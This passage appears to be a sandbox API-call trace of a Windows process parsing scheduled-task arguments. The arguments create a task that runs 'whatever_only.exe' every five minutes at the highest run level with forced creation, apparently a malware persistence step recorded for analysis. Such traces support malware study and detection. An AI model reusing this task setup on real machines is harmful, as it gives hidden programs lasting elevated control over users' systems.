(lpString="MINUTE") returned 6 [0128.233] lstrlenW (lpString="-/") returned 2 [0128.233] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0128.233] SetLastError (dwErrCode=0x490) [0128.233] SetLastError (dwErrCode=0x490) [0128.233] SetLastError (dwErrCode=0x0) [0128.234] lstrlenW (lpString="MINUTE") returned 6 [0128.234] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0128.234] SetLastError (dwErrCode=0x490) [0128.234] SetLastError (dwErrCode=0x0) [0128.234] lstrlenW (lpString="MINUTE") returned 6 [0128.234] GetProcessHeap () returned 0x470000 [0128.234] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48c2b0 [0128.234] GetProcessHeap () returned 0x470000 [0128.234] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48ccd0 [0128.234] SetLastError (dwErrCode=0x0) [0128.234] SetLastError (dwErrCode=0x0) [0128.234] lstrlenW (lpString="/mo") returned 3 [0128.234] lstrlenW (lpString="-/") returned 2 [0128.234] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.234] lstrlenW (lpString="?") returned 1 [0128.234] lstrlenW (lpString="?") returned 1 [0128.234] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.234] lstrlenW (lpString="mo") returned 2 [0128.234] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.234] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.234] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.234] lstrlenW (lpString="|?|") returned 3 [0128.234] lstrlenW (lpString="|mo|") returned 4 [0128.234] SetLastError (dwErrCode=0x490) [0128.234] lstrlenW (lpString="create") returned 6 [0128.234] lstrlenW (lpString="create") returned 6 [0128.234] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.234] lstrlenW (lpString="mo") returned 2 [0128.234] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.234] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.234] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.234] lstrlenW (lpString="|create|") returned 8 [0128.234] lstrlenW (lpString="|mo|") returned 4 [0128.234] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0128.234] SetLastError (dwErrCode=0x490) [0128.235] lstrlenW (lpString="delete") returned 6 [0128.235] lstrlenW (lpString="delete") returned 6 [0128.235] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] lstrlenW (lpString="mo") returned 2 [0128.235] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.235] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.235] lstrlenW (lpString="|delete|") returned 8 [0128.235] lstrlenW (lpString="|mo|") returned 4 [0128.235] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0128.235] SetLastError (dwErrCode=0x490) [0128.235] lstrlenW (lpString="query") returned 5 [0128.235] lstrlenW (lpString="query") returned 5 [0128.235] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] lstrlenW (lpString="mo") returned 2 [0128.235] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.235] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.235] lstrlenW (lpString="|query|") returned 7 [0128.235] lstrlenW (lpString="|mo|") returned 4 [0128.235] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0128.235] SetLastError (dwErrCode=0x490) [0128.235] lstrlenW (lpString="change") returned 6 [0128.235] lstrlenW (lpString="change") returned 6 [0128.235] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] lstrlenW (lpString="mo") returned 2 [0128.235] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.235] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.235] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.235] lstrlenW (lpString="|change|") returned 8 [0128.235] lstrlenW (lpString="|mo|") returned 4 [0128.235] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0128.235] SetLastError (dwErrCode=0x490) [0128.236] lstrlenW (lpString="run") returned 3 [0128.236] lstrlenW (lpString="run") returned 3 [0128.236] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] lstrlenW (lpString="mo") returned 2 [0128.236] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.236] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.236] lstrlenW (lpString="|run|") returned 5 [0128.236] lstrlenW (lpString="|mo|") returned 4 [0128.236] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0128.236] SetLastError (dwErrCode=0x490) [0128.236] lstrlenW (lpString="end") returned 3 [0128.236] lstrlenW (lpString="end") returned 3 [0128.236] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] lstrlenW (lpString="mo") returned 2 [0128.236] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.236] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.236] lstrlenW (lpString="|end|") returned 5 [0128.236] lstrlenW (lpString="|mo|") returned 4 [0128.236] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0128.236] SetLastError (dwErrCode=0x490) [0128.236] lstrlenW (lpString="showsid") returned 7 [0128.236] lstrlenW (lpString="showsid") returned 7 [0128.236] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] lstrlenW (lpString="mo") returned 2 [0128.236] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.236] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.236] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|mo|") returned 4 [0128.236] lstrlenW (lpString="|showsid|") returned 9 [0128.237] lstrlenW (lpString="|mo|") returned 4 [0128.237] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0128.237] SetLastError (dwErrCode=0x490) [0128.237] SetLastError (dwErrCode=0x490) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="/mo") returned 3 [0128.237] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0128.237] SetLastError (dwErrCode=0x490) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="/mo") returned 3 [0128.237] GetProcessHeap () returned 0x470000 [0128.237] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x8) returned 0x48c2d0 [0128.237] GetProcessHeap () returned 0x470000 [0128.237] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd00 [0128.237] SetLastError (dwErrCode=0x0) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="5") returned 1 [0128.237] SetLastError (dwErrCode=0x490) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="5") returned 1 [0128.237] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0128.237] SetLastError (dwErrCode=0x490) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="5") returned 1 [0128.237] GetProcessHeap () returned 0x470000 [0128.237] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x4) returned 0x48c2f0 [0128.237] GetProcessHeap () returned 0x470000 [0128.237] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd30 [0128.237] SetLastError (dwErrCode=0x0) [0128.237] SetLastError (dwErrCode=0x0) [0128.237] lstrlenW (lpString="/tr") returned 3 [0128.237] lstrlenW (lpString="-/") returned 2 [0128.237] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.237] lstrlenW (lpString="?") returned 1 [0128.237] lstrlenW (lpString="?") returned 1 [0128.237] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.237] lstrlenW (lpString="tr") returned 2 [0128.238] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.238] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.238] lstrlenW (lpString="|?|") returned 3 [0128.238] lstrlenW (lpString="|tr|") returned 4 [0128.238] SetLastError (dwErrCode=0x490) [0128.238] lstrlenW (lpString="create") returned 6 [0128.238] lstrlenW (lpString="create") returned 6 [0128.238] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] lstrlenW (lpString="tr") returned 2 [0128.238] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.238] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.238] lstrlenW (lpString="|create|") returned 8 [0128.238] lstrlenW (lpString="|tr|") returned 4 [0128.238] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.238] SetLastError (dwErrCode=0x490) [0128.238] lstrlenW (lpString="delete") returned 6 [0128.238] lstrlenW (lpString="delete") returned 6 [0128.238] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] lstrlenW (lpString="tr") returned 2 [0128.238] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.238] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.238] lstrlenW (lpString="|delete|") returned 8 [0128.238] lstrlenW (lpString="|tr|") returned 4 [0128.238] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0128.238] SetLastError (dwErrCode=0x490) [0128.238] lstrlenW (lpString="query") returned 5 [0128.238] lstrlenW (lpString="query") returned 5 [0128.238] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.238] lstrlenW (lpString="tr") returned 2 [0128.238] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.239] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.239] lstrlenW (lpString="|query|") returned 7 [0128.239] lstrlenW (lpString="|tr|") returned 4 [0128.239] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0128.239] SetLastError (dwErrCode=0x490) [0128.239] lstrlenW (lpString="change") returned 6 [0128.239] lstrlenW (lpString="change") returned 6 [0128.239] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] lstrlenW (lpString="tr") returned 2 [0128.239] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.239] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.239] lstrlenW (lpString="|change|") returned 8 [0128.239] lstrlenW (lpString="|tr|") returned 4 [0128.239] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0128.239] SetLastError (dwErrCode=0x490) [0128.239] lstrlenW (lpString="run") returned 3 [0128.239] lstrlenW (lpString="run") returned 3 [0128.239] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] lstrlenW (lpString="tr") returned 2 [0128.239] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.239] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.239] lstrlenW (lpString="|run|") returned 5 [0128.239] lstrlenW (lpString="|tr|") returned 4 [0128.239] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0128.239] SetLastError (dwErrCode=0x490) [0128.239] lstrlenW (lpString="end") returned 3 [0128.239] lstrlenW (lpString="end") returned 3 [0128.239] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.239] lstrlenW (lpString="tr") returned 2 [0128.239] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.240] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.240] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.240] lstrlenW (lpString="|end|") returned 5 [0128.240] lstrlenW (lpString="|tr|") returned 4 [0128.346] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0128.411] SetLastError (dwErrCode=0x490) [0128.411] lstrlenW (lpString="showsid") returned 7 [0128.411] lstrlenW (lpString="showsid") returned 7 [0128.411] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.411] lstrlenW (lpString="tr") returned 2 [0128.411] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.411] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.411] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0128.411] lstrlenW (lpString="|showsid|") returned 9 [0128.411] lstrlenW (lpString="|tr|") returned 4 [0128.411] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0128.411] SetLastError (dwErrCode=0x490) [0128.411] SetLastError (dwErrCode=0x490) [0128.411] SetLastError (dwErrCode=0x0) [0128.411] lstrlenW (lpString="/tr") returned 3 [0128.411] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0128.412] SetLastError (dwErrCode=0x490) [0128.412] SetLastError (dwErrCode=0x0) [0128.412] lstrlenW (lpString="/tr") returned 3 [0128.412] GetProcessHeap () returned 0x470000 [0128.412] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x8) returned 0x48c310 [0128.412] GetProcessHeap () returned 0x470000 [0128.412] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd60 [0128.412] SetLastError (dwErrCode=0x0) [0128.412] SetLastError (dwErrCode=0x0) [0128.412] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.412] lstrlenW (lpString="-/") returned 2 [0128.412] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.412] SetLastError (dwErrCode=0x490) [0128.412] SetLastError (dwErrCode=0x490) [0128.412] SetLastError (dwErrCode=0x0) [0128.412] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.412] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0128.412] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.412] GetProcessHeap () returned 0x470000 [0128.412] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48c330 [0128.412] _memicmp (_Buf1=0x48c330, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.412] GetProcessHeap () returned 0x470000 [0128.412] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48c350 [0128.412] GetProcessHeap () returned 0x470000 [0128.412] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48c370 [0128.413] _memicmp (_Buf1=0x48c370, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.413] GetProcessHeap () returned 0x470000 [0128.413] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x62) returned 0x48c390 [0128.413] SetLastError (dwErrCode=0x7a) [0128.413] SetLastError (dwErrCode=0x0) [0128.413] SetLastError (dwErrCode=0x0) [0128.413] lstrlenW (lpString="'C") returned 2 [0128.413] lstrlenW (lpString="-/") returned 2 [0128.413] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.413] SetLastError (dwErrCode=0x490) [0128.413] SetLastError (dwErrCode=0x490) [0128.413] SetLastError (dwErrCode=0x0) [0128.413] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.413] GetProcessHeap () returned 0x470000 [0128.413] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x60) returned 0x48c400 [0128.413] GetProcessHeap () returned 0x470000 [0128.413] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd90 [0128.413] SetLastError (dwErrCode=0x0) [0128.413] SetLastError (dwErrCode=0x0) [0128.413] lstrlenW (lpString="/rl") returned 3 [0128.413] lstrlenW (lpString="-/") returned 2 [0128.413] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.413] lstrlenW (lpString="?") returned 1 [0128.413] lstrlenW (lpString="?") returned 1 [0128.413] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.413] lstrlenW (lpString="rl") returned 2 [0128.413] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.413] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.414] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.414] lstrlenW (lpString="|?|") returned 3 [0128.414] lstrlenW (lpString="|rl|") returned 4 [0128.414] SetLastError (dwErrCode=0x490) [0128.414] lstrlenW (lpString="create") returned 6 [0128.414] lstrlenW (lpString="create") returned 6 [0128.414] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.414] lstrlenW (lpString="rl") returned 2 [0128.414] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.414] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.414] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.414] lstrlenW (lpString="|create|") returned 8 [0128.414] lstrlenW (lpString="|rl|") returned 4 [0128.414] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0128.414] SetLastError (dwErrCode=0x490) [0128.414] lstrlenW (lpString="delete") returned 6 [0128.414] lstrlenW (lpString="delete") returned 6 [0128.414] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.414] lstrlenW (lpString="rl") returned 2 [0128.414] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.414] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.414] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.414] lstrlenW (lpString="|delete|") returned 8 [0128.414] lstrlenW (lpString="|rl|") returned 4 [0128.414] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0128.414] SetLastError (dwErrCode=0x490) [0128.414] lstrlenW (lpString="query") returned 5 [0128.415] lstrlenW (lpString="query") returned 5 [0128.415] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.415] lstrlenW (lpString="rl") returned 2 [0128.415] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.415] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.415] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.415] lstrlenW (lpString="|query|") returned 7 [0128.415] lstrlenW (lpString="|rl|") returned 4 [0128.415] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0128.415] SetLastError (dwErrCode=0x490) [0128.415] lstrlenW (lpString="change") returned 6 [0128.415] lstrlenW (lpString="change") returned 6 [0128.415] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.415] lstrlenW (lpString="rl") returned 2 [0128.415] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.415] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.415] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.415] lstrlenW (lpString="|change|") returned 8 [0128.415] lstrlenW (lpString="|rl|") returned 4 [0128.415] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0128.415] SetLastError (dwErrCode=0x490) [0128.415] lstrlenW (lpString="run") returned 3 [0128.415] lstrlenW (lpString="run") returned 3 [0128.415] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.415] lstrlenW (lpString="rl") returned 2 [0128.415] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.416] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.416] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.416] lstrlenW (lpString="|run|") returned 5 [0128.416] lstrlenW (lpString="|rl|") returned 4 [0128.416] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0128.416] SetLastError (dwErrCode=0x490) [0128.416] lstrlenW (lpString="end") returned 3 [0128.416] lstrlenW (lpString="end") returned 3 [0128.416] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.416] lstrlenW (lpString="rl") returned 2 [0128.416] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.416] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.416] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.416] lstrlenW (lpString="|end|") returned 5 [0128.416] lstrlenW (lpString="|rl|") returned 4 [0128.416] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0128.416] SetLastError (dwErrCode=0x490) [0128.416] lstrlenW (lpString="showsid") returned 7 [0128.416] lstrlenW (lpString="showsid") returned 7 [0128.416] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.416] lstrlenW (lpString="rl") returned 2 [0128.416] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.416] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.416] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|rl|") returned 4 [0128.416] lstrlenW (lpString="|showsid|") returned 9 [0128.416] lstrlenW (lpString="|rl|") returned 4 [0128.417] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x0) [0128.417] lstrlenW (lpString="/rl") returned 3 [0128.417] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x0) [0128.417] lstrlenW (lpString="/rl") returned 3 [0128.417] GetProcessHeap () returned 0x470000 [0128.417] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x8) returned 0x48c470 [0128.417] GetProcessHeap () returned 0x470000 [0128.417] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cdc0 [0128.417] SetLastError (dwErrCode=0x0) [0128.417] SetLastError (dwErrCode=0x0) [0128.417] lstrlenW (lpString="HIGHEST") returned 7 [0128.417] lstrlenW (lpString="-/") returned 2 [0128.417] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x0) [0128.417] lstrlenW (lpString="HIGHEST") returned 7 [0128.417] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0128.417] SetLastError (dwErrCode=0x490) [0128.417] SetLastError (dwErrCode=0x0) [0128.417] lstrlenW (lpString="HIGHEST") returned 7 [0128.417] GetProcessHeap () returned 0x470000 [0128.417] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x10) returned 0x48d500 [0128.417] GetProcessHeap () returned 0x470000 [0128.417] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cdf0 [0128.417] SetLastError (dwErrCode=0x0) [0128.417] SetLastError (dwErrCode=0x0) [0128.418] lstrlenW (lpString="/f") returned 2 [0128.418] lstrlenW (lpString="-/") returned 2 